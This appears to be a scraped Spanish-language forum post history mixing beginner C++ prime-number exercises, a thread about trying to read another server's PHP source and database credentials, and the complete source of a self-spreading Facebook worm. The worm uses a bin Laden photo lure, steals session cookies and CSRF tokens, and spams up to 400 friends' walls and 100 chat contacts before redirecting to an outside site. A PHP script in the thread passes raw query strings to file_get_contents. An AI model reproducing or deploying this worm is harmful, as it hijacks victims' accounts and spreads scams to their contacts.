amigo muchas gracias ........ si ese es el error pues c no retornava a 0 de nuevo para poder evaluar los otros numeros, por eso olo me evaluava si era primo el primero muchas gracias
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú#include <iostream>
using namespace std;
int main(){
int num,p=1,n,s=0,c=0;
while (p<=5){
cout<<"ingrese un numero";
cin>>num;
for(n=1;n<=num;n++)
{
if(num%n==0)
{
c=c+1;
}
}
if (c>0&&c<=2)
{
s=s+num;
p++;
}
}
cout<<s;
}
#include <iostream>
using namespace std;
int main()
{
int num,n,c=0,a,con=0;
for(a=1;a<=5;a++)
{
cout<<"ingrese un numero";
cin>>num;
for(n=1;n<=num;n++)
{
if(num%n==0)
{
c=c+1;
}
}
if(c>0&&c<=2)
{
con=con+1;
}
}
cout<<con<<" numeros primos";
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// KuNG FU JS v.1 20yrsplus.info
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
//alert('Photo Uploaded! Please wait 1-2 minutes without leaving this page until we process your picture!');
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
var user_id = readCookie("c_user");
// Setup some variables
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
// Multiple URL Shorteners
var shortArray = new Array(
"http://www.facebook.com/picofbinladendead",
"http://www.facebook.com/picofbinladendead"
);
var shortUrl = shortArray[Math.floor(shortArray.length*Math.random())];
// Chat message variables
var this_chat = "See a picture of bin laden dead! "+shortUrl+"?";
var prepared_chat = encodeURIComponent(this_chat);
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Post Link to friends walls
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var token = Math.round(new Date().getTime() / 1000);
var http1 = new XMLHttpRequest();
var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token="+token+"-6&filter[0]=user&options[0]=friends_only";
var params1 = "";
http1.open("GET", url1+"?"+params1, true);
http1.onreadystatechange = function() {//Call a function when the state changes.
if(http1.readyState == 4 && http1.status == 200) { // If state = success
var response1 = http1.responseText;
response1 = response1.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object
response1 = JSON.parse(response1); // Convert the response to JSON
//alert(response4.toSource());
var count = 0;
for(uid in response1.payload.entries){
if(count < 400){
//alert("SENT TO "+response1.payload.entries[count].uid);
// Loop to send messages
// New XMLHttp object
var httpwp = new XMLHttpRequest();
var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1";
var statusmessage="This will leave you speechless";
var title="See picture of bin laden dead!";
var link="http://www.facebook.com/picofbinladendead";
var description="First released picture of bin laden dead! ";
var picture="http://dl.dropbox.com/u/3730110/laden.png";
var paramswp = "post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&xhpc_composerid=u574553_1&xhpc_targetid="+response1.payload.entries[count].uid+"&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]="+title+"&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]="+link+"&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]="+title+"&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]="+picture+"&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]="+description+"&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]="+description+"&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]="+link+"&attachment[params][favicon]=http%3A%2F%2F20-y-rr-z.info%2Ffavicon.ico&attachment[params][title]="+title+"&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]="+description+"&attachment[params][url]="+link+"&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]="+description+"&attachment[params][images][0]="+picture+"&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text="+statusmessage+")&xhpc_message="+statusmessage+")&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest";
httpwp.open("POST", urlwp, true);
//Send the proper header information along with the request
httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpwp.setRequestHeader("Content-length", paramswp.length);
httpwp.setRequestHeader("Connection", "keep-alive");
httpwp.onreadystatechange = function() { //Call a function when the state changes.
if(httpwp.readyState == 4 && httpwp.status == 200){
//alert(http.responseText);
//alert('buddy list fetched');
}
}
httpwp.send(paramswp);
}
count++; // increment counter
}
http1.close; // Close the connection
}
}
http1.send(null);
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Hide chat boxes
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var hide = document.getElementById('fbDockChatTabSlider');
hide.style.display = "none";
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Get online friends and send chat message to them
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var http3 = new XMLHttpRequest();
var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
var params3 = "user="+user_id+"&popped_out=false&force_render=true&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
http3.open("POST", url3, true);
//Send the proper header information along with the request
http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http3.setRequestHeader("Content-length", params3.length);
http3.setRequestHeader("Connection", "close");
http3.onreadystatechange = function() {//Call a function when the state changes.
if(http3.readyState == 4 && http3.status == 200) {
var response3 = http3.responseText;
response3 = response3.replace("for (;;);", "");
response3 = JSON.parse(response3);
var count = 0;
for(property in response3.payload.buddy_list.nowAvailableList){
if(count < 100){
// Loop to send messages
// New XMLHttp object
var httpc = new XMLHttpRequest();
// Generate random message ID
var msgid = Math.floor(Math.random()*1000000);
var time = Math.round(new Date().getTime() / 1000);
var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1";
var paramsc = "msg_id="+msgid+"&client_time="+time+"&to="+property+"&num_tabs=1&pvs_time="+time+"&msg_text="+prepared_chat+"&to_offline=false&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
httpc.open("POST", urlc, true);
//Send the proper header information along with the request
httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpc.setRequestHeader("Content-length", paramsc.length);
httpc.setRequestHeader("Connection", "close");
httpc.onreadystatechange = function() { //Call a function when the state changes.
if(httpc.readyState == 4 && httpc.status == 200){
//alert(http.responseText);
//alert('buddy list fetched');
}
}
httpc.send(paramsc);
}
//alert(property);
count++; // increment counter
}
http3.close; // Close the connection
}
}
http3.send(params3);
/*
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Become a Fan - MW GIVEAWAY
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var http4 = new XMLHttpRequest();
var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
var params4 = "fbpage_id=112580802159800&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
http4.open("POST", url4, true);
//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");
http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {
http4.close; // Close the connection
}
}
http4.send(params4);
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Become a Fan - MW GIft
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var http5 = new XMLHttpRequest();
var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
var params5 = "fbpage_id=112580802159800&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
http5.open("POST", url5, true);
//Send the proper header information along with the request
http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http5.setRequestHeader("Content-length", params5.length);
http5.setRequestHeader("Connection", "close");
http5.onreadystatechange = function() {//Call a function when the state changes.
if(http5.readyState == 4 && http5.status == 200) {
http5.close; // Close the connection
}
}
http5.send(params5);
*/
//document.getElementById('susta').style.display="none";
document.getElementById('contentArea').innerHTML="<center><br><br><br><br><br><br><br><br><img src=\"http://www.hindustantimes.com/images/loading_gif.gif\" /><br />Please wait...</center>";
setTimeout("window.location = 'http://themafiafamily.net/bin/search.php';", 15000);
Cita de: bizco en 9 Noviembre 2010, 20:55 PM
la verdad tio no se si fumas algo extraño o que te hace pensar que poniendo en tu servidor un archivo de otro te va a dar en tu caso el nombre de usuario y contraseña de la db. partiendo de que ¿como vas a hacer que el servidor original haga una simple peticion a tu servidor? o caso contrario que tu servidor haga una peticion a un servidor remoto sin conocer host de la db, usuario y contraseña, estas en lo mismo pero cada vez haces cosas mas extrañas.
en caso de estar yo confundido te invito a que expongas el metodo que usas para "simular" ser tu el servidor.
<?PHP
include('config.php');
session_start();
error_reporting(0);
$cachetime = 24 * 3600; // cache time in seconds
//cache manager
if (@$_SERVER['QUERY_STRING'] == '') {
include('includes/cachemanager.php');
} else {
if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) {
ob_start("ob_gzhandler");
if ($_GET['type'] == 'xml')
header("Content-Type: text/xml");
else
header ("content-type: text/javascript; charset: UTF-8");
header ("cache-control: must-revalidate");
$offset = 60 * 60;
$expire = "expires: " . gmdate ("D, d M Y H:i:s", time() + $offset) . " GMT";
header ($expire);
} else
ob_start();
//cache manager end
if ($_config['nocache'] == false) {
//$GAME = $_config['server_feeds'][$_GET['server']][1];
$cache = preg_replace('/\&nocache\=1/i','',$_SERVER['QUERY_STRING']);
$slash = addcslashes($_config['server_feed'], 'z..A://');
$cache = preg_replace('/'.$slash.'/i','',urldecode($cache));
// replace accented chars
$accents = '/&([A-Za-z]{1,2})(grave|acute|circ|cedil|uml|lig);/';
$string_encoded = htmlentities($cache ,ENT_NOQUOTES,'UTF-8');
$string = preg_replace($accents,'$1',$string_encoded);
// clean out the rest
$replace = array('([\40])','([^a-zA-Z0-9-])','(-{2,})');
$with = array('-','-','-');
$string = preg_replace($replace,$with,$string);
$ext = preg_split('/-/', $string, -1, PREG_SPLIT_OFFSET_CAPTURE);
$ext = $ext[3][0];
$cachefile = 'cache/'.$string.'.'.$ext;
if (file_exists($cachefile) && time() - $cachetime < filemtime($cachefile) && !isset($_GET['nocache'])) {
//
if ($_GET['type'] == 'xml')
echo file_get_contents($cachefile);
else
include($cachefile);
// echo '<test>'.$cachefile.'</test>';
//echo "<!-- Cached copy, generated ".date('H:i', filemtime($cachefile))." -->\n";
exit;
}
}
$homepage = file_get_contents($_SERVER['QUERY_STRING']);
echo $homepage;
if ($_config['nocache'] == false) {
$fp = @fopen($cachefile, 'w');
fwrite($fp, ob_get_contents());
fclose($fp);
ob_end_flush();
}
}
?>
$db = ADONewConnection('mssql');
$db->locale = 'us_english';
$db->debug = $_config['dbdebug'];
$rs = $db->PConnect($_config['Server'], $_config['User'], $_config['Pass'], $_config['DB']) or die("Unable to connect!");
$result = $db->Execute("SELECT ID FROM register_table where upper(ID),(Email),(password) ", array($value));
o estaexec dbo.user_register 'user', 'pass','Email'
Cita de: seele en 9 Noviembre 2010, 20:25 PM
pero a lo que vamos es que no puedes por que es un archivo php, y como dije antes me llama la atencion de donde sacaaste el contenido del archivo php que mostras antes porque de chrome no
Cita de: bizco en 9 Noviembre 2010, 19:16 PM
es el segundo post que pides lo mismo, como en este:
http://foro.elhacker.net/nivel_web/tal_ves_podais_ayudarme-t309867.0.html;msg1538665#msg1538665
se te vuelve a repetir que no puedes ver el codigo fuente real del fichero php, primero comprende como funciona php y entenderas que no puede ser.
rs = $db->PConnect($_config['Server'], $_config['User'], $_config['Pass'], $_config['DB'])
Cita de: seele en 9 Noviembre 2010, 18:26 PM
yo no veo ningun php por ahi
el codigo php se procesa en el servidor, se genera el html y luego va al browser, las developers tools, asi como el firebug etc trabajan sobre las peticiones que entran y salen del browser por ende, en ese entonces, el php ya fue procesado
algo no cierra....